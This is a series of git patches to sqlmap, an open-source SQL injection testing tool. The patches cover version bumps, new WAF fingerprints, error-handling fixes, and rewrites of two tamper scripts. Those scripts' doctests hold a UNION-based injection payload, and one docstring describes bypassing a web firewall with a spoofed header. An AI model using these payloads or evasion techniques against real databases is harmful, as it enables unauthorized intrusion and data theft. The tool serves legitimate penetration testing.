"'https://sourceforge.net/projects/pywin32/files/pywin32/'" + errMsg += "'https://github.com/mhammond/pywin32'" raise SqlmapMissingDependence(errMsg) if not conf.msfPath: diff --git a/lib/core/settings.py b/lib/core/settings.py index 9fdb4e5a56f..e0677695fa1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.12" +VERSION = "1.3.7.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e10a96610d3371f8c3d0c7b9a9645889c5b85615 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 10 Jul 2019 10:49:05 +0200 Subject: [PATCH 509/800] Minor update --- lib/core/settings.py | 2 +- thirdparty/identywaf/data.json | 22 ++++++++++++++++++++++ 2 files changed, 23 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e0677695fa1..d7357d55991 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.13" +VERSION = "1.3.7.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/identywaf/data.json b/thirdparty/identywaf/data.json index 66eddc3fb16..0192cee1385 100644 --- a/thirdparty/identywaf/data.json +++ b/thirdparty/identywaf/data.json @@ -677,6 +677,12 @@ "signatures": [], "note": "Uses Incapsula (Reference: https://www.whitefirdesign.com/blog/2016/11/08/more-evidence-that-sitelocks-trueshield-web-application-firewall-is-really-incapsulas-waf/)" }, + "sniper": { + "company": "Wins", + "name": "Sniper", + "regex": "document\\.title = [^;]+Sniper WAF", + "signatures": [] + }, "sonicwall": { "company": "Dell", "name": "SonicWALL", @@ -777,6 +783,14 @@ "c02b:RVZXu261OElCWapBYKcPk4JzWOpohM4JiUcMr2RWg1uQJbX3uhdOnthsOj+hXrAB16FcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC" ] }, + "wapples": { + "company": "Penta Security", + "name": "Wapples", + "regex": "", + "signatures": [ + "60b7:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1uQJLX2uhZOnthtOj+hXrAA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XKTC" + ] + }, "watchguard": { "company": "WatchGuard Technologies", "name": "WatchGuard", @@ -809,6 +823,14 @@ "17a8:RVZXum60OEhCWKpAYKYPkoJyWOpohM4JiUcMrmRXg1qQJbX3uhdOnthtOj+hXrAB16FcPhJPdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC" ] }, + "webland": { + "company": "WebLand", + "name": "WebLand", + "regex": "Server: Apache Protected by Webland WAF", + "signatures": [ + "4ba0:RVZXum60OEhCWKpAYKYPkoJzWOpohc4IiUYMr2RWg1uQJLX3uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" + ] + }, "webseal": { "company": "IBM", "name": "WebSEAL", From 752aed29860a86bfce09ad6eea8785f28637e6df Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 10 Jul 2019 13:49:41 +0200 Subject: [PATCH 510/800] Patch for #3815 --- lib/core/common.py | 2 +- lib/core/dump.py | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index da4d0c8a07f..ab08b5e9f0a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3549,7 +3549,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", except IOError: errMsg = "there has been a file opening error for filename '%s'. " % filename errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") - errMsg += "and that it's not locked by another process." + errMsg += "and that it's not locked by another process" raise SqlmapSystemException(errMsg) def decodeIntToUnicode(value): diff --git a/lib/core/dump.py b/lib/core/dump.py index d49970a5f4a..a266e6426e5 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -617,7 +617,7 @@ def dbTableValues(self, tableValues): warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) logger.warn(warnMsg) - with open(filepath, "wb") as f: + with openFile(filepath, "w+b", None) as f: _ = safechardecode(value, True) f.write(_) diff --git a/lib/core/settings.py b/lib/core/settings.py index d7357d55991..0c977515935 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.14" +VERSION = "1.3.7.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4c8d348e2f0548243ba1eb77828ff4c42837d58b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 11 Jul 2019 10:56:38 +0200 Subject: [PATCH 511/800] Fixes #3812 --- lib/core/settings.py | 2 +- tamper/varnish.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c977515935..310a2f13802 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.15" +VERSION = "1.3.7.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/varnish.py b/tamper/varnish.py index d37f4ae2f58..6b79f494ca3 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -17,7 +17,7 @@ def tamper(payload, **kwargs): Appends a HTTP header 'X-originating-IP' to bypass Varnish Firewall Reference: - * http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 + * https://web.archive.org/web/20160815052159/http://community.hpe.com/t5/Protect-Your-Assets/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 Notes: Examples: From 84d0b346e72d1c3f423028a8b1365510a02b5eee Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 11 Jul 2019 11:13:49 +0200 Subject: [PATCH 512/800] Patch for #3816 --- lib/core/settings.py | 2 +- lib/core/threads.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 310a2f13802..90b72d63014 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.16" +VERSION = "1.3.7.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index b20fd7dbb36..946a22c20ec 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -193,7 +193,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio kb.threadException = True logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex)) - if conf.get("verbose") > 1: + if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException): traceback.print_exc() except: From c1ae1b432e07350891693225cca961b99a6beb88 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 11 Jul 2019 11:30:21 +0200 Subject: [PATCH 513/800] Update regarding #3813 --- lib/core/settings.py | 2 +- lib/request/rangehandler.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 90b72d63014..1e4bbe58c77 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.17" +VERSION = "1.3.7.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index f957bd81f78..fcfc7e145a1 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -24,5 +24,6 @@ def http_error_206(self, req, fp, code, msg, hdrs): def http_error_416(self, req, fp, code, msg, hdrs): # HTTP's Range Not Satisfiable error - errMsg = "Invalid range" + errMsg = "there was a problem while connecting " + errMsg += "target ('406 - Range Not Satisfiable')" raise SqlmapConnectionException(errMsg) From c3a95e81f5abdb53bf40e4285ba63b9be6fafaa5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 11 Jul 2019 12:40:56 +0200 Subject: [PATCH 514/800] Fixes #3797 --- lib/core/settings.py | 2 +- tamper/plus2concat.py | 54 +++++++------------------------ tamper/plus2fnconcat.py | 72 +++++++++++------------------------------ 3 files changed, 32 insertions(+), 96 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1e4bbe58c77..984ab7cb60f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.18" +VERSION = "1.3.7.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index f4d7331ba92..f94d2668593 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -10,7 +10,6 @@ from lib.core.common import singleTimeWarnMessage from lib.core.common import zeroDepthSearch -from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -35,51 +34,22 @@ def tamper(payload, **kwargs): >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' - >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL') - 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' + >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') + '1 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(113),CHAR(118),CHAR(112),CHAR(112),CHAR(113),ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),CHAR(113),CHAR(112),CHAR(107),CHAR(112),CHAR(113))-- qtfe' """ retVal = payload if payload: - prefix, suffix = '+' * len(re.search(r"\A(\+*)", payload).group(0)), '+' * len(re.search(r"(\+*)\Z", payload).group(0)) - retVal = retVal.strip('+') - - while True: - indexes = zeroDepthSearch(retVal, '+') - - if indexes: - first, last = 0, 0 - for i in xrange(1, len(indexes)): - if ' ' in retVal[indexes[0]:indexes[i]]: - break - else: - last = i - - start = retVal[:indexes[first]].rfind(' ') + 1 - end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1 - - chars = [char for char in retVal] - for index in indexes[first:last + 1]: - chars[index] = ',' - - retVal = "%sCONCAT(%s)%s" % (retVal[:start], ''.join(chars)[start:end], retVal[end:]) - else: - match = re.search(r"\((CHAR\(\d+.+\bCHAR\(\d+\))\)", retVal) - if match: - part = match.group(0) - indexes = set(zeroDepthSearch(match.group(1), '+')) - if not indexes: - break - chars = [char for char in part] - for i in xrange(1, len(chars)): - if i - 1 in indexes: - chars[i] = ',' - replacement = "CONCAT%s" % "".join(chars) - retVal = retVal.replace(part, replacement) - else: - break - - retVal = "%s%s%s" % (prefix, retVal, suffix) + match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) + if match: + part = match.group(0) + + chars = [char for char in part] + for index in zeroDepthSearch(part, '+'): + chars[index] = ',' + + replacement = "CONCAT(%s)" % "".join(chars) + retVal = retVal.replace(part, replacement) return retVal diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index 60bcc917c81..c0002e53be1 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -36,63 +36,29 @@ def tamper(payload, **kwargs): >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' - >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL') - 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' + >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') + '1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe' """ retVal = payload if payload: - prefix, suffix = '+' * len(re.search(r"\A(\+*)", payload).group(0)), '+' * len(re.search(r"(\+*)\Z", payload).group(0)) - retVal = retVal.strip('+') - - while True: - indexes = zeroDepthSearch(retVal, '+') - - if indexes: - first, last = 0, 0 - for i in xrange(1, len(indexes)): - if ' ' in retVal[indexes[0]:indexes[i]]: - break - else: - last = i - - start = retVal[:indexes[first]].rfind(' ') + 1 - end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1 - - count = 0 - chars = [char for char in retVal] - for index in indexes[first:last + 1]: - if count == 0: - chars[index] = ',' - else: - chars[index] = '\x01' - count += 1 - - retVal = "%s%s%s)}%s" % (retVal[:start], "{fn CONCAT(" * count, ''.join(chars)[start:end].replace('\x01', ")},"), retVal[end:]) - else: - match = re.search(r"\((CHAR\(\d+.+\bCHAR\(\d+\))\)", retVal) - if match: - part = match.group(0) - indexes = set(zeroDepthSearch(match.group(1), '+')) - if not indexes: - break - - count = 0 - chars = [char for char in part] - for i in xrange(1, len(chars)): - if i - 1 in indexes: - if count == 0: - chars[i] = ',' - else: - chars[i] = '\x01' - count += 1 - - replacement = "%s%s}" % (("{fn CONCAT(" * count)[:-1], "".join(chars).replace('\x01', ")},")) - retVal = retVal.replace(part, replacement) - else: - break - - retVal = "%s%s%s" % (prefix, retVal, suffix) + match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) + if match: + old = match.group(0) + parts = [] + last = 0 + + for index in zeroDepthSearch(old, '+'): + parts.append(old[last:index].strip('+')) + last = index + + parts.append(old[last:].strip('+')) + replacement = parts[0] + + for i in xrange(1, len(parts)): + replacement = "{fn CONCAT(%s,%s)}" % (replacement, parts[i]) + + retVal = retVal.replace(old, replacement) return retVal From 7d434293798d44a184a19e44c854cf56a6e51f8e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 12 Jul 2019 12:18:56 +0200 Subject: [PATCH 515/800] Fixes #3819 --- lib/core/settings.py | 2 +- plugins/generic/filesystem.py | 12 ++++++++++-- 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 984ab7cb60f..951a45d9f11 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.19" +VERSION = "1.3.7.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 8d672e16733..f622a0dfd55 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -21,6 +21,8 @@ from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.compat import xrange +from lib.core.convert import encodeBase64 +from lib.core.convert import encodeHex from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.data import conf @@ -134,8 +136,14 @@ def fileEncode(self, fileName, encoding, single, chunkSize=256): def fileContentEncode(self, content, encoding, single, chunkSize=256): retVal = [] - if encoding: - content = getText(codecs.encode(content, encoding)).replace("\n", "") + if encoding == "hex": + content = encodeHex(content) + elif encoding == "base64": + content = encodeBase64(content) + else: + content = codecs.encode(content, encoding) + + content = getText(content).replace("\n", "") if not single: if len(content) > chunkSize: From eb14f296f6238de3b8a66a50245e7f15c2d86376 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 12 Jul 2019 13:41:07 +0200 Subject: [PATCH 516/800] Fixes #3820 --- lib/core/settings.py | 2 +- lib/core/threads.py | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 951a45d9f11..8a0c1a9e697 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.20" +VERSION = "1.3.7.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 946a22c20ec..234424f9505 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -95,8 +95,10 @@ def exceptionHandledFunction(threadFunction, silent=False): kb.threadException = True raise except Exception as ex: + from lib.core.common import getSafeExString + if not silent and kb.get("threadContinue"): - errMsg = ex.message if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, ex.message) + errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex)) logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) if conf.get("verbose") > 1 and not isinstance(ex, (SqlmapUserQuitException, SqlmapConnectionException)): From 34ed2c51ac70e6a943b7edd051dffd03039dbe3c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 12 Jul 2019 14:19:25 +0200 Subject: [PATCH 517/800] Minor style update --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 452 +++++++++++++++++++++---------------------- lib/utils/httpd.py | 2 +- 3 files changed, 227 insertions(+), 229 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8a0c1a9e697..459602f8a1d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.21" +VERSION = "1.3.7.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index acb91674c9c..51843d6ad79 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -88,691 +88,689 @@ def cmdLineParser(argv=None): parser = ArgumentParser(usage=usage) try: - parser.add_argument("--hh", dest="advancedHelp", - action="store_true", - help="Show advanced help message and exit") + parser.add_argument("--hh", dest="advancedHelp", action="store_true", + help="Show advanced help message and exit") - parser.add_argument("--version", dest="showVersion", - action="store_true", - help="Show program's version number and exit") + parser.add_argument("--version", dest="showVersion", action="store_true", + help="Show program's version number and exit") parser.add_argument("-v", dest="verbose", type=int, - help="Verbosity level: 0-6 (default %d)" % defaults.verbose) + help="Verbosity level: 0-6 (default %d)" % defaults.verbose) # Target options - target = parser.add_argument_group("Target", "At least one of these " - "options has to be provided to define the target(s)") + target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)") - target.add_argument("-d", dest="direct", help="Connection string " - "for direct database connection") + target.add_argument("-d", dest="direct", + help="Connection string for direct database connection") - target.add_argument("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") + target.add_argument("-u", "--url", dest="url", + help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") - target.add_argument("-l", dest="logFile", help="Parse target(s) from Burp " - "or WebScarab proxy log file") + target.add_argument("-l", dest="logFile", + help="Parse target(s) from Burp or WebScarab proxy log file") - target.add_argument("-x", dest="sitemapUrl", help="Parse target(s) from remote sitemap(.xml) file") + target.add_argument("-x", dest="sitemapUrl", + help="Parse target(s) from remote sitemap(.xml) file") - target.add_argument("-m", dest="bulkFile", help="Scan multiple targets given " - "in a textual file ") + target.add_argument("-m", dest="bulkFile", + help="Scan multiple targets given in a textual file ") target.add_argument("-r", dest="requestFile", - help="Load HTTP request from a file") + help="Load HTTP request from a file") target.add_argument("-g", dest="googleDork", - help="Process Google dork results as target URLs") + help="Process Google dork results as target URLs") target.add_argument("-c", dest="configFile", - help="Load options from a configuration INI file") + help="Load options from a configuration INI file") # Request options - request = parser.add_argument_group("Request", "These options can be used " - "to specify how to connect to the target URL") + request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") request.add_argument("--method", dest="method", - help="Force usage of given HTTP method (e.g. PUT)") + help="Force usage of given HTTP method (e.g. PUT)") request.add_argument("--data", dest="data", - help="Data string to be sent through POST (e.g. \"id=1\")") + help="Data string to be sent through POST (e.g. \"id=1\")") request.add_argument("--param-del", dest="paramDel", - help="Character used for splitting parameter values (e.g. &)") + help="Character used for splitting parameter values (e.g. &)") request.add_argument("--cookie", dest="cookie", - help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")") + help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")") request.add_argument("--cookie-del", dest="cookieDel", - help="Character used for splitting cookie values (e.g. ;)") + help="Character used for splitting cookie values (e.g. ;)") request.add_argument("--load-cookies", dest="loadCookies", - help="File containing cookies in Netscape/wget format") + help="File containing cookies in Netscape/wget format") request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true", - help="Ignore Set-Cookie header from response") + help="Ignore Set-Cookie header from response") request.add_argument("--user-agent", dest="agent", - help="HTTP User-Agent header value") + help="HTTP User-Agent header value") request.add_argument("--random-agent", dest="randomAgent", action="store_true", - help="Use randomly selected HTTP User-Agent header value") + help="Use randomly selected HTTP User-Agent header value") request.add_argument("--host", dest="host", - help="HTTP Host header value") + help="HTTP Host header value") request.add_argument("--referer", dest="referer", - help="HTTP Referer header value") + help="HTTP Referer header value") request.add_argument("-H", "--header", dest="header", - help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") + help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") request.add_argument("--headers", dest="headers", - help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") + help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") request.add_argument("--auth-type", dest="authType", - help="HTTP authentication type (Basic, Digest, NTLM or PKI)") + help="HTTP authentication type (Basic, Digest, NTLM or PKI)") request.add_argument("--auth-cred", dest="authCred", - help="HTTP authentication credentials (name:password)") + help="HTTP authentication credentials (name:password)") request.add_argument("--auth-file", dest="authFile", - help="HTTP authentication PEM cert/private key file") + help="HTTP authentication PEM cert/private key file") request.add_argument("--ignore-code", dest="ignoreCode", type=int, - help="Ignore (problematic) HTTP error code (e.g. 401)") + help="Ignore (problematic) HTTP error code (e.g. 401)") request.add_argument("--ignore-proxy", dest="ignoreProxy", action="store_true", - help="Ignore system default proxy settings") + help="Ignore system default proxy settings") request.add_argument("--ignore-redirects", dest="ignoreRedirects", action="store_true", - help="Ignore redirection attempts") + help="Ignore redirection attempts") request.add_argument("--ignore-timeouts", dest="ignoreTimeouts", action="store_true", - help="Ignore connection timeouts") + help="Ignore connection timeouts") request.add_argument("--proxy", dest="proxy", - help="Use a proxy to connect to the target URL") + help="Use a proxy to connect to the target URL") request.add_argument("--proxy-cred", dest="proxyCred", - help="Proxy authentication credentials (name:password)") + help="Proxy authentication credentials (name:password)") request.add_argument("--proxy-file", dest="proxyFile", - help="Load proxy list from a file") + help="Load proxy list from a file") request.add_argument("--tor", dest="tor", action="store_true", - help="Use Tor anonymity network") + help="Use Tor anonymity network") request.add_argument("--tor-port", dest="torPort", - help="Set Tor proxy port other than default") + help="Set Tor proxy port other than default") request.add_argument("--tor-type", dest="torType", - help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") + help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") request.add_argument("--check-tor", dest="checkTor", action="store_true", - help="Check to see if Tor is used properly") + help="Check to see if Tor is used properly") request.add_argument("--delay", dest="delay", type=float, - help="Delay in seconds between each HTTP request") + help="Delay in seconds between each HTTP request") request.add_argument("--timeout", dest="timeout", type=float, - help="Seconds to wait before timeout connection (default %d)" % defaults.timeout) + help="Seconds to wait before timeout connection (default %d)" % defaults.timeout) request.add_argument("--retries", dest="retries", type=int, - help="Retries when the connection timeouts (default %d)" % defaults.retries) + help="Retries when the connection timeouts (default %d)" % defaults.retries) request.add_argument("--randomize", dest="rParam", - help="Randomly change value for given parameter(s)") + help="Randomly change value for given parameter(s)") request.add_argument("--safe-url", dest="safeUrl", - help="URL address to visit frequently during testing") + help="URL address to visit frequently during testing") request.add_argument("--safe-post", dest="safePost", - help="POST data to send to a safe URL") + help="POST data to send to a safe URL") request.add_argument("--safe-req", dest="safeReqFile", - help="Load safe HTTP request from a file") + help="Load safe HTTP request from a file") request.add_argument("--safe-freq", dest="safeFreq", type=int, - help="Test requests between two visits to a given safe URL") + help="Test requests between two visits to a given safe URL") request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true", - help="Skip URL encoding of payload data") + help="Skip URL encoding of payload data") request.add_argument("--csrf-token", dest="csrfToken", - help="Parameter used to hold anti-CSRF token") + help="Parameter used to hold anti-CSRF token") request.add_argument("--csrf-url", dest="csrfUrl", - help="URL address to visit for extraction of anti-CSRF token") + help="URL address to visit for extraction of anti-CSRF token") request.add_argument("--force-ssl", dest="forceSSL", action="store_true", - help="Force usage of SSL/HTTPS") + help="Force usage of SSL/HTTPS") request.add_argument("--chunked", dest="chunked", action="store_true", - help="Use HTTP chunked transfer encoded (POST) requests") + help="Use HTTP chunked transfer encoded (POST) requests") request.add_argument("--hpp", dest="hpp", action="store_true", - help="Use HTTP parameter pollution method") + help="Use HTTP parameter pollution method") request.add_argument("--eval", dest="evalCode", - help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") + help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") # Optimization options optimization = parser.add_argument_group("Optimization", "These options can be used to optimize the performance of sqlmap") optimization.add_argument("-o", dest="optimize", action="store_true", - help="Turn on all optimization switches") + help="Turn on all optimization switches") optimization.add_argument("--predict-output", dest="predictOutput", action="store_true", - help="Predict common queries output") + help="Predict common queries output") optimization.add_argument("--keep-alive", dest="keepAlive", action="store_true", - help="Use persistent HTTP(s) connections") + help="Use persistent HTTP(s) connections") optimization.add_argument("--null-connection", dest="nullConnection", action="store_true", - 